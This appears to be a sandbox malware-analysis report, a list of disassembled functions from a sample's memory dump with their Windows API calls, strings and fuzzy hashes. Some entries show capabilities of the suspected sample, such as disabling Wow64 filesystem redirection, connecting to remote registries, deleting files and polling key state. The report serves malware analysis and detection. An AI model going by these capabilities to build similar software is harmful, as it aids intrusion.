SendMessageW.USER32(?,00000189,?,00000000), ref: 00A41EA9

Part of subcall function 009E6B57: _wcslen.LIBCMT ref: 009E6B6A

Strings

ListBox, xrefs: 00A41E25
ComboBox, xrefs: 00A41DF0

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 8d3577c3a2846e0d0b1a8321d8b55a4f140b209e6daea5a65c67bb758cc5472c
Instruction ID: c3e3663afa60706bae22a7a1037b2127632379f5ec6cd1b5f543d733d42f1ead
Opcode Fuzzy Hash: 8d3577c3a2846e0d0b1a8321d8b55a4f140b209e6daea5a65c67bb758cc5472c
Instruction Fuzzy Hash: 61214979A00104BEDB14ABA1CC86DFFB7B9EFC1360B14851DF815A31E1EB384D8A8620

Function 00A72F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00A72F8D
LoadLibraryW.KERNEL32(?), ref: 00A72F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00A72FA9
DestroyWindow.USER32(?), ref: 00A72FB1

Strings

SysAnimate32, xrefs: 00A72F68

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: f871a5f446fda158273697b84ced68a32cfa9da835d1549b3ffda485d47eb8c4
Instruction ID: eaee05b089cba99e92c69d940398796130b3afa466cafb9a8747d2427b388c48
Opcode Fuzzy Hash: f871a5f446fda158273697b84ced68a32cfa9da835d1549b3ffda485d47eb8c4
Instruction Fuzzy Hash: DF219D72204205ABEF218FA4DC80FBB77BDEB99364F10C629F958D61A0D771DCA19760

Function 00A04D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00A04D1E,00A128E9,?,00A04CBE,00A128E9,00AA88B8,0000000C,00A04E15,00A128E9,00000002), ref: 00A04D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A04DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00A04D1E,00A128E9,?,00A04CBE,00A128E9,00AA88B8,0000000C,00A04E15,00A128E9,00000002,00000000), ref: 00A04DC3

Strings

CorExitProcess, xrefs: 00A04D98
mscoree.dll, xrefs: 00A04D86

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9834451355d8042c179f69aa892b4cd8f9ae603f66d009cd6b1810a90c22a1f4
Instruction ID: ea2f7e8eb30b25a9f92960d86b935b1c7568f3997ffeaac9f6db5da062b8e29b
Opcode Fuzzy Hash: 9834451355d8042c179f69aa892b4cd8f9ae603f66d009cd6b1810a90c22a1f4
Instruction Fuzzy Hash: 4CF0447464020CBBEB119F90DC49B9EBFB5FF44762F444168F909A2190CB345981CB91

Function 009E4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,009E4EDD,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 009E4EAE
FreeLibrary.KERNEL32(00000000,?,?,009E4EDD,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4EC0

Strings

kernel32.dll, xrefs: 009E4E94
Wow64DisableWow64FsRedirection, xrefs: 009E4EA8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 45941b8e4005abc8bfcf7b95d2797acd167f1b0a470f305f81942b3df4c748ef
Instruction ID: 94185684a14da738ad3db233f3c07da456c6c94afbd880811ee5e33e823d3338
Opcode Fuzzy Hash: 45941b8e4005abc8bfcf7b95d2797acd167f1b0a470f305f81942b3df4c748ef
Instruction Fuzzy Hash: 75E0CD36E015626BD2335B666C18B5F665CBFC1F73B05822DFC08D3140DB64CD4285A0

Function 009E4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00A23CDE,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009E4E74
FreeLibrary.KERNEL32(00000000,?,?,00A23CDE,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 009E4E6E
kernel32.dll, xrefs: 009E4E5B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 2b21254ad06e106f176cd31f027bec698400c310f0682b4d0263c8532828cc5a
Instruction ID: 23d828b6c85603e4e070e4c5ec1f7977e438758e76757bf904bf60651b9e8f07
Opcode Fuzzy Hash: 2b21254ad06e106f176cd31f027bec698400c310f0682b4d0263c8532828cc5a
Instruction Fuzzy Hash: 81D0C23290266277CA231B667C08D8F6A1CBF89F32349862CB809A2110CF24CD42C5D1

Function 00A52947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A52C05
DeleteFileW.KERNEL32(?), ref: 00A52C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00A52C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A52CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A52CC0

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 005fcff4e64bf3ed9cf7ddf24de28fa48f154725d1c5cec4d842d326fbd102b4
Instruction ID: 350ef674eea323a32a1b511f207f9f2e129e31b771dc734c774e587b1273a484
Opcode Fuzzy Hash: 005fcff4e64bf3ed9cf7ddf24de28fa48f154725d1c5cec4d842d326fbd102b4
Instruction Fuzzy Hash: C5B13C7290011DABDF11DBA4CD85FDEB7BDFF49355F1040A6FA09E6141EA309A488FA1

Function 00A6A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00A6A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00A6A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00A6A468
CloseHandle.KERNEL32(?), ref: 00A6A63D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: a13304a77d3d5c46ebe272fa881a9f204686f5b1c47e5325730e688b6305eff9
Instruction ID: 1d60d0ebea12f4edd12c411bcc7193d86e5e683aa0693e2f8356fc4cd35e2432
Opcode Fuzzy Hash: a13304a77d3d5c46ebe272fa881a9f204686f5b1c47e5325730e688b6305eff9
Instruction Fuzzy Hash: 3AA19F75604300AFD720DF25C886F2AB7E5AF94714F14885DF59A9B2D2DBB0EC418B92

Function 00A1BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00A83700), ref: 00A1BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,00AB121C,000000FF,00000000,0000003F,00000000,?,?), ref: 00A1BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00AB1270,000000FF,?,0000003F,00000000,?), ref: 00A1BC36
_free.LIBCMT ref: 00A1BB7F

Part of subcall function 00A129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000), ref: 00A129DE
Part of subcall function 00A129C8: GetLastError.KERNEL32(00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000,00000000), ref: 00A129F0

_free.LIBCMT ref: 00A1BD4B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 7eabf39059456a02f48fa59bbcec13ee7e386a026dc3e139e0a2cf4f5f3fdca3
Instruction ID: 6dccb05ae98d31396f1bac463f4d5f97ac1dbaeb6536299a7bc0f14f04bfb19c
Opcode Fuzzy Hash: 7eabf39059456a02f48fa59bbcec13ee7e386a026dc3e139e0a2cf4f5f3fdca3
Instruction Fuzzy Hash: 6451FB71914209EFCB14EFA5DD819EEB7BCEF44360B50426AE464D71A1EB309D918BB0

Function 00A4E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A4DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00A4CF22,?), ref: 00A4DDFD

Part of subcall function 00A4DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00A4CF22,?), ref: 00A4DE16

Part of subcall function 00A4E199: GetFileAttributesW.KERNEL32(?,00A4CF95), ref: 00A4E19A

lstrcmpiW.KERNEL32(?,?), ref: 00A4E473
MoveFileW.KERNEL32(?,?), ref: 00A4E4AC
_wcslen.LIBCMT ref: 00A4E5EB
_wcslen.LIBCMT ref: 00A4E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00A4E650

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 8327d1e43fa2bb1600bb43f19886e72a280eab7765b860457c927c19dcaa4f62
Instruction ID: 27646718416eb92d735458c10f23b687554443021144bd1f7845e46494d94368
Opcode Fuzzy Hash: 8327d1e43fa2bb1600bb43f19886e72a280eab7765b860457c927c19dcaa4f62
Instruction Fuzzy Hash: CB5174B64083859BC724EB94DC819DFB3ECAFC4350F00492EF589D3191EF75A6888B66

Function 00A6B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A6C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A6B6AE,?,?), ref: 00A6C9B5
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6C9F1
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6CA68
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A6BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A6BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00A6BB63
RegCloseKey.ADVAPI32(?,?), ref: 00A6BBA6
RegCloseKey.ADVAPI32(00000000), ref: 00A6BBB3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 512b8cc145c404e633f87eb0a44089cbaab9270238a4bc6a1ad6c9de26b3e2d2
Instruction ID: 007d237af0d41e11fcf0c5af6118333dfa23f0e4243f8cfba79b17aa38ba6077
Opcode Fuzzy Hash: 512b8cc145c404e633f87eb0a44089cbaab9270238a4bc6a1ad6c9de26b3e2d2
Instruction Fuzzy Hash: 0F619131218241AFD315DF54C890E2ABBF5FF84358F54855CF4998B2A2DB31ED86CBA2

Function 00A48BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A48BCD
VariantClear.OLEAUT32 ref: 00A48C3E
VariantClear.OLEAUT32 ref: 00A48C9D
VariantClear.OLEAUT32(?), ref: 00A48D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00A48D3B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 6760888629e2ebd1403dbfe72497cd99f9b8872027e898dadbfa929be0feee45
Instruction ID: 3df878347e153340c3f8efc32fe8013b1d4b8ee30696ea27dd5269e74612b3be
Opcode Fuzzy Hash: 6760888629e2ebd1403dbfe72497cd99f9b8872027e898dadbfa929be0feee45
Instruction Fuzzy Hash: 365167B5A01219EFCB10CF68D894AAAB7F8FF89314B158569E909DB350E734E911CF90

Function 00A58AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00A58BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00A58BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00A58C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00A58C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00A58C5F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 95438b7739c813a5f186d9cf5a253dd7bbb5a969da317f0a4e37628d3a399a7f
Instruction ID: c8755bead06010dc8f3cddfcc7f8ff5a743f7790ae6f39e9218566170c42d53d
Opcode Fuzzy Hash: 95438b7739c813a5f186d9cf5a253dd7bbb5a969da317f0a4e37628d3a399a7f
Instruction Fuzzy Hash: 7C516C35A00618AFCB01DF65C881E6DBBF5FF48314F088458E849AB362DB35ED55CB91

Function 00A68EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00A68F40
GetProcAddress.KERNEL32(00000000,?), ref: 00A68FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00A68FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00A69032
FreeLibrary.KERNEL32(00000000), ref: 00A69052

Part of subcall function 009FF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00A51043,?,7529E610), ref: 009FF6E6
Part of subcall function 009FF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00A3FA64,00000000,00000000,?,?,00A51043,?,7529E610,?,00A3FA64), ref: 009FF70D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 7b85208ca2c4f71d589cd8baac6845e354fb1e9c58f0d5de46045645a4bab71e
Instruction ID: 689c7afb1ed1362caa04a3d4c7c81b92c138a07ec184e049b7942f0923d7c248
Opcode Fuzzy Hash: 7b85208ca2c4f71d589cd8baac6845e354fb1e9c58f0d5de46045645a4bab71e
Instruction Fuzzy Hash: 63514D35600245DFCB11DF68C4949AEBBF5FF49324B0581A8E90A9B362DB31ED86CB91

Function 00A76B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00A76C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00A76C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00A76C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00A5AB79,00000000,00000000), ref: 00A76C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00A76CC7

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 0076a06888de1cd389b395412e6b00cfbe2b01e35c734cab5ad9ecd71c43f329
Instruction ID: 78c5d54b9e9d07e8c39268a53c57f0f3f182da6d44771afc7444308ae77b9217
Opcode Fuzzy Hash: 0076a06888de1cd389b395412e6b00cfbe2b01e35c734cab5ad9ecd71c43f329
Instruction Fuzzy Hash: 8141D435604504AFD726CF78CD58FAA7BA5EB49360F14C268F89DA72E1C371AD41CA40

Function 00A12051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A120C3
_free.LIBCMT ref: 00A120E3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ce19ecbb1f71c9ce52459e96a9340d85d3966fcb9b37f9a8dd43bf770180488b
Instruction ID: 1ea00a12ee5874044ffb4731a41aa6206a59c32eee69532992d4afcab5488dd5
Opcode Fuzzy Hash: ce19ecbb1f71c9ce52459e96a9340d85d3966fcb9b37f9a8dd43bf770180488b
Instruction Fuzzy Hash: 5B41D232A00204AFDB24DF78C981B9DB7B5EF89324F154668E615EB391DB31ED51CB80

Function 009F912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 009F9141
ScreenToClient.USER32(00000000,?), ref: 009F915E
GetAsyncKeyState.USER32(00000001), ref: 009F9183
GetAsyncKeyState.USER32(00000002), ref: 009F919D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

